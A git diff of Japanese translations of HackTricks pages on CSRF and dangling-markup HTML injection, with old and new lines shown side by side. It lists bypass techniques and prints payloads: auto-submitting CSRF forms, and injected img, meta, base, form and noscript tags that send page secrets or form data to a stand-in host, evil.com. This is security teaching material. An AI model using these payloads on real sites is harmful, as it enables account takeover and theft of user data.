**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です!**_流暢なポーランド語の読み書きが必要です_ **ハッキングキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です!**_流暢なポーランド語の読み書きが必要です_
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -223,10 +221,10 @@ Webアプリケーションで使用されているプログラミング言語
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れ * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手す
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>

View file

@ -2,15 +2,15 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使用して、**ゼロからヒーローまでAWSハッキングを学ぶ**</summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手 - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
- **Discordグループ**に参加する💬https://discord.gg/hRep4RUj7fまたは[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で私をフォローする[**@carlospolopm**](https://twitter.com/carlospolopm)**。** - **参加する** 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。
- **ハッキングトリックを共有する**、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 - **ハッキングトリックを共有する**ために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
@ -19,38 +19,38 @@ HackTricksをサポートする他の方法
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう! 経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
**ハッキングの洞察**\ **ハッキングの洞察**\
ハッキングのスリルとチャレンジに深く関わるコンテンツに参加する ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
**リアルタイムハックニュース**\ **リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保 リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保ちましょう
**最新のアナウンス**\ **最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を把握する 最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を把握しましょう
**Discord**https://discord.com/invite/N3FrSbmwdyに参加して、今日からトップハッカーと協力しましょう **Discord**https://discord.com/invite/N3FrSbmwdyに参加して、今日からトップハッカーと協力しましょう
## Cross-Site Request ForgeryCSRFの説明 ## クロスサイトリクエストフォージェリCSRFの説明
**Cross-Site Request ForgeryCSRF**は、Webアプリケーションで見つかるセキュリティ脆弱性の一種です。これにより、攻撃者は認証されたセッションを悪用して無防備なユーザーの代わりにアクションを実行できます。攻撃は、被害者のプラットフォームにログインしているユーザーが悪意のあるサイトを訪れたときに実行されます。このサイトは、JavaScriptの実行、フォームの送信、画像の取得などの方法を使用して、被害者のアカウントにリクエストをトリガーします。 **クロスサイトリクエストフォージェリCSRF**は、Webアプリケーションで見つかるセキュリティ脆弱性の一種です。これにより、攻撃者は認証されたセッションを悪用して無防備なユーザーの代わりにアクションを実行できます。攻撃は、被害者のプラットフォームにログインしているユーザーが悪意のあるサイトを訪れたときに実行されます。このサイトは、JavaScriptの実行、フォームの送信、画像の取得などの方法を使用して、被害者のアカウントにリクエストをトリガーします。
### CSRF攻撃の前提条件 ### CSRF攻撃の前提条件
CSRF脆弱性を悪用するには、いくつかの条件を満たす必要があります CSRF脆弱性を悪用するには、いくつかの条件を満たす必要があります
1. **価値のあるアクションの特定**: 攻撃者は、ユーザーのパスワードの変更、メールの変更、特権の昇格など、悪用する価値のあるアクションを見つける必要があります。 1. **価値のあるアクションの特定**攻撃者は、ユーザーのパスワードの変更、メールの変更、特権の昇格など、悪用する価値のあるアクションを見つける必要があります。
2. **セッション管理**: ユーザーのセッションは、クッキーまたはHTTPベーシック認証ヘッダーを介してのみ管理される必要があります。他のヘッダーはこの目的のために操作できないためです。 2. **セッション管理**ユーザーのセッションは、クッキーまたはHTTPベーシック認証ヘッダーを介してのみ管理されるべきです。他のヘッダーはこの目的のために操作できないためです。
3. **予測不可能なパラメーターの不在**: リクエストに予測不可能なパラメーターが含まれていない必要があります。これらのパラメーターが攻撃を防ぐことができます。 3. **予測不可能なパラメーターの不在**:リクエストに予測不可能なパラメーターが含まれていてはならず、これらが攻撃を防ぐことができます。
### CSRFに対する防御 ### CSRFに対する防御
CSRF攻撃に対抗するために、いくつかの対策を実装できます CSRF攻撃に対抗するために、いくつかの対策を実装することができます:
* [**SameSiteクッキー**](hacking-with-cookies/#samesite): この属性は、クロスサイトリクエストと一緒にクッキーを送信しないようにします。[SameSiteクッキーについて詳しく](hacking-with-cookies/#samesite)。 * [**SameSiteクッキー**](hacking-with-cookies/#samesite):この属性は、ブラウザがクロスサイトリクエストと一緒にクッキーを送信しないようにします。[SameSiteクッキーについて詳しく](hacking-with-cookies/#samesite)。
* [**Cross-origin resource sharing**](cors-bypass.md): 被害者サイトのCORSポリシーは、攻撃が被害者サイトからの応答を読み取ることを必要とする場合に特に攻撃の実現可能性に影響を与える可能性があります。[CORSバイパスについて学ぶ](cors-bypass.md)。 * [**Cross-origin resource sharing**](cors-bypass.md)被害者サイトのCORSポリシーは、攻撃が被害者サイトからの応答を読み取ることを必要とする場合など、攻撃の実行可能性に影響を与える可能性があります。[CORSバイパスについて学ぶ](cors-bypass.md)。
* **ユーザーの検証**: ユーザーの意図を確認するためにパスワードを求めたり、CAPTCHAを解かせたりすることができます。 * **ユーザーの検証**ユーザーの意図を確認するために、パスワードの入力やCAPTCHAの解決を求めることができます。
* **リファラまたはオリジンヘッダーの確認**: これらのヘッダーを検証することで、リクエストが信頼されたソースから送信されていることを確認できます。ただし、URLの慎重な作成により、実装が不十分なチェックをバイパスすることができます。例 * **リファラまたはオリジンヘッダーの確認**これらのヘッダーを検証することで、リクエストが信頼されたソースから送信されていることを確認できます。ただし、URLの慎重な作成により、次のような実装が不十分なチェックをバイパスする可能性があります
- `http://mal.net?orig=http://example.com`URLが信頼されたURLで終わる - `http://mal.net?orig=http://example.com`URLが信頼されたURLで終わる
- `http://example.com.mal.net`URLが信頼されたURLで始まる - `http://example.com.mal.net`URLが信頼されたURLで始まる
* **パラメーター名の変更**: POSTまたはGETリクエストのパラメーター名を変更することで、自動化された攻撃を防ぐのに役立ちます。 * **パラメーター名の変更**POSTまたはGETリクエストのパラメーター名を変更することで、自動化された攻撃を防ぐのに役立ちます。
* **CSRFトークン**: 各セッションに一意のCSRFトークンを組み込み、後続のリクエストでこのトークンを要求することで、CSRFのリスクを著しく軽減できます。トークンの効果はCORSの強制によって強化できます。 * **CSRFトークン**各セッションに一意のCSRFトークンを組み込み、後続のリクエストでこのトークンを要求することで、CSRFのリスクを著しく軽減することができます。トークンの効果はCORSの強制によって強化することができます。
これらの防御策を理解し、実装することは、Webアプリケーションのセキュリティと完全性を維持するために重要です。 これらの防御策を理解し、実装することは、Webアプリケーションのセキュリティと完全性を維持するために重要です。
@ -58,30 +58,30 @@ CSRF攻撃に対抗するために、いくつかの対策を実装できます
### POSTからGETへ ### POSTからGETへ
悪用したいフォームが**CSRFトークンを持つPOSTリクエストを送信する準備ができているかもしれませんが**、**GET**が**有効であるかどうか**、およびGETリクエストを送信するときに**CSRFトークンが引き続き検証されているかどうか**を**確認**する必要があります。 悪用したいフォームが**CSRFトークンを持つPOSTリクエストを送信する準備ができているかもしれませんが**、**GET**も**有効であるかどうか**、そしてGETリクエストを送信するときに**CSRFトークンが引き続き検証されているかどうか**を**確認**する必要があります。
### トークンの欠如 ### トークンの欠如
アプリケーションは、トークンが存在する場合にのみトークンを検証するメカニズムを実装する場合があります。ただし、トークンが欠落している場合に検証が完全にスキップされると、脆弱性が発生します。攻撃者は、トークンを運ぶパラメーターだけでなく、その値を削除することで、検証プロセスを回避し、効果的にCross-Site Request ForgeryCSRF攻撃を実行できます。 アプリケーションは、トークンが存在する場合にのみトークンを検証するメカニズムを実装するかもしれません。ただし、トークンが欠落している場合に検証が完全にスキップされると、脆弱性が発生します。攻撃者は、トークンを運ぶパラメーターだけでなく、その値を削除することで、検証プロセスを回避し、効果的にクロスサイトリクエストフォージェリCSRF攻撃を実行することができます。
### CSRFトークンがユーザーセッションに紐付いていない ### CSRFトークンがユーザーセッションに紐付いていない
CSRFトークンをユーザーセッションに紐付けないアプリケーションは、重大な**セキュリティリスク**を示します。これらのシステムは、各トークンが開始セッションにバインドされていることを確認するのではなく、トークンを**グローバルプール**に対して検証します。 CSRFトークンをユーザーセッションに紐付けていないアプリケーションは、重大な**セキュリティリスク**を示します。これらのシステムは、各トークンが開始セッションにバインドされていることを確認するのではなく、トークンをグローバルプールに対して検証します。
攻撃者がこれを悪用する方法 攻撃者がこれをどのように悪用するか
1. 自分のアカウントを使用して**認証**す 1. 自分のアカウントを使用して**認証**します。
2. グローバルプールから有効なCSRFトークンを**取得**す 2. グローバルプールから有効なCSRFトークンを**取得**します。
3. このトークンを被害者に対するCSRF攻撃に**使用**す 3. このトークンを被害者に対するCSRF攻撃に**使用**します。
この脆弱性により、攻撃者は被害者を代表して不正なリクエストを行い、アプリケーションの**不適切なトークン検証メカニズム**を悪用できます。 この脆弱性により、攻撃者は被害者を代表して不正なリクエストを行うことができ、アプリケーションの**不適切なトークン検証メカニズム**を悪用します。
### メソッドバイパス ### メソッドバイパス
リクエストが**奇妙な」メソッド**を使用している場合、**メソッドオーバーライド機能**が機能しているかどうかを確認してください。 リクエストが**奇妙な****メソッド**を使用している場合、**メソッドオーバーライド機能**が機能しているかどうかを確認してください。
たとえば、**PUT**メソッドを使用している場合、**POST**メソッドを試してみて、_https://example.com/my/dear/api/val/num?**\_method=PUT**_を**送信**できます。 たとえば、**PUT**メソッドを使用している場合、**POST**メソッドを試して、_https://example.com/my/dear/api/val/num?**\_method=PUT**_を**送信**できます。
これは、**POSTリクエスト内の\_methodパラメーターを送信**するか、**ヘッダー**を使用しても機能する可能性があります: これは、**POSTリクエスト内に\_methodパラメーターを送信**するか、**ヘッダー**を使用することでも機能する可能性があります:
- _X-HTTP-Method_ - _X-HTTP-Method_
- _X-HTTP-Method-Override_ - _X-HTTP-Method-Override_
@ -89,16 +89,16 @@ CSRFトークンをユーザーセッションに紐付けないアプリケー
### カスタムヘッダートークンバイパス ### カスタムヘッダートークンバイパス
リクエストが**CSRF保護方法としてカスタムヘッダーにトークン**を追加している場合、次のようにします リクエストが**CSRF保護方法としてカスタムヘッダーにトークンを追加**している場合、次のようにしてください
- **カスタムトークンとヘッダーを削除して**リクエストをテストします。 - **カスタムトークンとヘッダーを削除**してリクエストをテストします。
- **同じ長さ**異なるトークンを使用してリクエストをテストします。 - 同じ長さ**異なるトークン**を使用してリクエストをテストします。
### CSRFトークンがクッキーによって検証されている ### CSRFトークンがクッキーによって検証されている
アプリケーションは、リクエストパラメーターとクッキーの両方にトークンを複製するか、CSRFクッキーを設定し、バックエンドで送信されたトークンがクッキーに対応しているかを検証することで、CSRF保護を実装する場合があります。アプリケーションは、リクエストパラメーター内のトークンがクッキー内の値と一致するかどうかを確認することでリクエストを検証します。 アプリケーションは、CSRF保護を実装する際に、クッキーとリクエストパラメーターの両方にトークンを複製するか、CSRFクッキーを設定し、バックエンドで送信されたトークンがクッキーと一致するかどうかを検証することによって実装する場合があります。アプリケーションは、リクエストパラメーター内のトークンがクッキー内の値と一致するかどうかを確認することでリクエストを検証します。
ただし、この方法は、WebサイトにCRLF脆弱性などの欠陥がある場合、攻撃者が被害者のブラウザにCSRFクッキーを設定できるようにする欠陥があるため、CSRF攻撃に対して脆弱です。攻撃者は、クッキーを設定する欺瞞的な画像を読み込んでからCSRF攻撃を開始することで、これを悪用できます。 ただし、この方法は、ウェブサイトにCRLF脆弱性などの欠陥がある場合、攻撃者が被害者のブラウザにCSRFクッキーを設定することを許可する欠陥がある場合に、CSRF攻撃に対して脆弱です。攻撃者は、クッキーを設定する欺瞞的な画像を読み込んでからCSRF攻撃を開始することで、これを悪用することができます。
以下は、攻撃がどのように構築されるかの例です: 以下は、攻撃がどのように構築されるかの例です:
```html ```html
@ -130,7 +130,7 @@ CSRFトークンをユーザーセッションに紐付けないアプリケー
ただし、使用される **Content-Type** に応じて **サーバーのロジックが異なる場合** があるため、上記の値や **`application/json`**、**`text/xml`**、**`application/xml`** などの他の値を試す必要があります。 ただし、使用される **Content-Type** に応じて **サーバーのロジックが異なる場合** があるため、上記の値や **`application/json`**、**`text/xml`**、**`application/xml`** などの他の値を試す必要があります。
JSON データを **text/plain** として送信する例([こちら](https://brycec.me/posts/corctf\_2021\_challenges)から): 例([こちら](https://brycec.me/posts/corctf\_2021\_challenges)から): JSON データを text/plain として送信する場合:
```html ```html
<html> <html>
<body> <body>
@ -145,13 +145,13 @@ form.submit();
``` ```
### Preflightリクエストのバイパス方法JSONデータ用 ### Preflightリクエストのバイパス方法JSONデータ用
JSONデータをPOSTリクエストで送信しようとする際、HTMLフォームで `Content-Type: application/json` を使用することは直接はできません。同様に、このコンテンツタイプを送信するために `XMLHttpRequest` を使用すると、プリフライトリクエストが開始されます。それでも、この制限を回避し、サーバーがJSONデータを処理するかどうかを確認するための戦略があります JSONデータをPOSTリクエストで送信しようとする際、HTMLフォームで `Content-Type: application/json` を使用することは直接はできません。同様に、このコンテンツタイプを送信するために `XMLHttpRequest` を使用すると、プリフライトリクエストが開始されます。それでも、この制限をバイパスし、サーバーがJSONデータを処理するかどうかを確認するための戦略があります
1. **代替コンテンツタイプの使用**: フォーム内で `enctype="text/plain"` を設定して `Content-Type: text/plain` または `Content-Type: application/x-www-form-urlencoded` を使用します。この方法は、バックエンドがContent-Typeに関係なくデータを用するかどうかをテストします。 1. **代替コンテンツタイプの使用**: `Content-Type: text/plain` または `Content-Type: application/x-www-form-urlencoded` を使用し、フォーム内で `enctype="text/plain"` を設定します。この方法は、バックエンドがContent-Typeに関係なくデータを使用するかどうかをテストします。
2. **コンテンツタイプの変更**: サーバーがコンテンツをJSONとして認識することを確認しながら、プリフライトリクエストを回避するために、データを `Content-Type: text/plain; application/json` で送信できます。これによりプリフライトリクエストトリガーされませんが、サーバーが `application/json` を受け入れるように構成されている場合は正しく処理される可能性があります。 2. **コンテンツタイプの変更**: プリフライトリクエストを回避しながら、サーバーがコンテンツをJSONとして認識することを確実にするために、データを `Content-Type: text/plain; application/json` で送信できます。これによりプリフライトリクエストトリガーされませんが、サーバーが `application/json` を受け入れるように構成されている場合は正しく処理される可能性があります。
3. **SWF Flashファイルの利用**: より一般的ではないが実現可能な方法として、このような制限をバイパスするためにSWF Flashファイルを使用する方法があります。このテクニックの詳細については、[この投稿](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) を参照してください。 3. **SWF Flashファイルの利用**: より一般的ではないが実現可能な方法として、SWF Flashファイルを使用してこの制限をバイパスする方法があります。このテクニックの詳細については、[この投稿](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) を参照してください。
### リファラー/オリジンチェックのバイパス ### リファラー/オリジンチェックのバイパス
@ -169,7 +169,7 @@ JSONデータをPOSTリクエストで送信しようとする際、HTMLフォ
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md) [url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %} {% endcontent-ref %}
Referrerが送信するURL内のサーバーのドメイン名を設定するには、次のようにします リファラが送信するURL内のサーバーのドメイン名を設定するには、次のようにします
```html ```html
<html> <html>
<!-- Referrer policy needed to send the qury parameter in the referrer --> <!-- Referrer policy needed to send the qury parameter in the referrer -->
@ -198,7 +198,7 @@ document.forms[0].submit();
### **CSRFトークンの外部流出** ### **CSRFトークンの外部流出**
もし**CSRFトークン**が**防御として使用されている**場合、[**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens)脆弱性や[**Dangling Markup**](dangling-markup-html-scriptless-injection/)脆弱性を悪用して**それを外部流出**することができます。 もし**CSRFトークン**が**防御として使用**されている場合、[**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens)脆弱性や[**Dangling Markup**](dangling-markup-html-scriptless-injection/)脆弱性を悪用して**それを外部流出**することができます。
### **HTMLタグを使用したGET** ### **HTMLタグを使用したGET**
```xml ```xml
@ -422,7 +422,7 @@ document.getElementById("form1").submit();
</script> </script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe> <iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
``` ```
### **CSRFトークンを盗み、iframeとフォームを使用してPOSTリクエストを送信する** ### **CSRF トークンを盗み、iframe とフォームを使用して POST リクエストを送信する**
```html ```html
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe> <iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
@ -586,23 +586,23 @@ login(USER, line.strip())
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
**リアルタイムハックニュース**\ **リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていきましょう リアルタイムのニュースと情報を通じて、ハッキングの世界を追いかけましょう
**最新の発表**\ **最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう 最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
**Discord** [**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう! **Discord** [**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)** でAWSハッキングをゼロからヒーローまで学びましょう!</strong></summary> <summary><strong>**htARTE (HackTricks AWS Red Team Expert)** でゼロからヒーローまでAWSハッキングを学びましょう!</summary>
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、Twitter 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する * **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>

View file

@ -4,28 +4,28 @@
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法:
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
## 履歴書 ## 要約
このテクニックは、**HTMLインジェクションが見つかったときにユーザーから情報を抽出する**ために使用できます。これは、[**XSS**](../xss-cross-site-scripting/)を**悪用する方法が見つからない**場合に非常に役立ちますが、**いくつかのHTMLタグをインジェクトできる**場合です。\ このテクニックは、**HTMLインジェクションが見つかったときにユーザーから情報を抽出するために使用**できます。これは、[**XSS**](../xss-cross-site-scripting/)を**悪用する方法が見つからない**場合に非常に便利ですが、**いくつかのHTMLタグをインジェクトできる**場合に役立ちます。\
また、**秘密が平文で保存されている**場合や、クライアントからそれを**外部に送信**したい場合、またはスクリプトの実行を誤誘導したい場合にも役立ちます。 また、いくつかの**秘密が平文で保存**されており、クライアントからそれを**外部に送信**したい場合、スクリプトの実行を誤誘導したい場合にも役立ちます。
ここでコメントされているいくつかのテクニックは、予期しない方法で情報を外部に送信することによっていくつかの[**Content Security Policy**](../content-security-policy-csp-bypass/)をバイパスするために使用できますhtmlタグ、CSS、http-metaタグ、フォーム、baseなど ここでコメントされているいくつかのテクニックは、予期しない方法で情報を外部に送信することによっていくつかの[**コンテンツセキュリティポリシー**](../content-security-policy-csp-bypass/)をバイパスするために使用できますhtmlタグ、CSS、http-metaタグ、フォーム、baseなど
## 主な応用 ## 主な応用
### 平文の秘密を盗む ### 平文の秘密を盗む
ページがロードされるときに`<img src='http://evil.com/log.cgi?`をインジェクトすると、被害者はインジェクトされた`img`タグとコード内の次の引用符の間のすべてのコードを送信します。そのチャンクに秘密がある場合、それを盗みます(同じことを二重引用符を使用して行うこともできます。より興味深いものを使用するかどうかを確認してください)。 ページが読み込まれるときに`<img src='http://evil.com/log.cgi?`をインジェクトすると、被害者はインジェクトされた`img`タグとコード内の次の引用符の間のすべてのコードを送信します。そのチャンクに秘密がある場合、それを盗みます(同じことを二重引用符を使用して行うこともできます。より興味深いものになる可能性があるかどうかを確認してください)。
`img`タグが禁止されている場合たとえばCSPのため、`<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`を使用することもできます。 `img`タグが禁止されている場合たとえばCSPのため、`<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`を使用することもできます。
```html ```html
@ -53,11 +53,11 @@ steal me'<b>test</b>
```html ```html
<base href='http://evil.com/'> <base href='http://evil.com/'>
``` ```
### フォームの盗み取り2 ### フォームの盗み取り 2
フォームヘッダーを設定します:`<form action='http://evil.com/log_steal'>` これにより、次のフォームヘッダーが上書きされ、フォームのすべてのデータが攻撃者に送信されます。 フォームヘッダーを設定します:`<form action='http://evil.com/log_steal'>` これにより、次のフォームヘッダーが上書きされ、フォームのすべてのデータが攻撃者に送信されます。
### フォームの盗み取り3 ### フォームの盗み取り 3
ボタンは、属性 "formaction" を使用して、フォームの情報が送信されるURLを変更できます ボタンは、属性 "formaction" を使用して、フォームの情報が送信されるURLを変更できます
```html ```html
@ -65,7 +65,7 @@ steal me'<b>test</b>
``` ```
### クリアテキストの秘密情報の盗み取り2 ### クリアテキストの秘密情報の盗み取り2
最新のテクニックを使用してフォームを盗(新しいフォームヘッダーを注入する)ことができ、その後新しい入力フィールドを注入できます: 最新のテクニックを使用してフォームを盗み取る(新しいフォームヘッダーを注入する)ことができ、その後新しい入力フィールドを注入できます:
```html ```html
<input type='hidden' name='review_body' value=" <input type='hidden' name='review_body' value="
``` ```
@ -77,7 +77,7 @@ steal me'<b>test</b>
``` ```
### フォームパラメーターインジェクション ### フォームパラメーターインジェクション
フォームのパスを変更し、新しい値を挿入することで、予期しないアクションが実行される可能性があります フォームのパスを変更し、新しい値を挿入することで、予期しないアクションが実行される可能性があります:
```html ```html
<form action='/change_settings.php'> <form action='/change_settings.php'>
<input type='hidden' name='invite_user' <input type='hidden' name='invite_user'
@ -95,19 +95,19 @@ value='fredmbogo'> ← Injected lines
`<noscript></noscript>`は、ブラウザがJavaScriptをサポートしていない場合にその内容が解釈されるタグですChromeでJavaScriptを有効/無効にするには、[chrome://settings/content/javascript](chrome://settings/content/javascript)にアクセスしてください)。 `<noscript></noscript>`は、ブラウザがJavaScriptをサポートしていない場合にその内容が解釈されるタグですChromeでJavaScriptを有効/無効にするには、[chrome://settings/content/javascript](chrome://settings/content/javascript)にアクセスしてください)。
攻撃者が制御するサイトに、挿入ポイントからページの内容を盗み出す方法は、次のように挿入することです: 攻撃者が制御するサイトに、挿入ポイントからWebページの内容を盗み出す方法は、次のように挿入することです:
```html ```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript> <noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
``` ```
### ユーザーインタラクションを使ったCSPのバイパス ### ユーザーインタラクションを利用してCSPをバイパスする
この[ポートスウィガーの研究](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)から、**最もCSPが制限された**環境でも、**ユーザーインタラクション**を使ってデータを**外部に送信**することができることがわかります。今回は、次のペイロードを使用します: この[ポートスウィガーの研究](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)から、**最もCSPが制限された**環境でも、**ユーザーインタラクション**を使ってデータを**外部に送信**することができることがわかります。この場合、以下のペイロードを使用します:
```html ```html
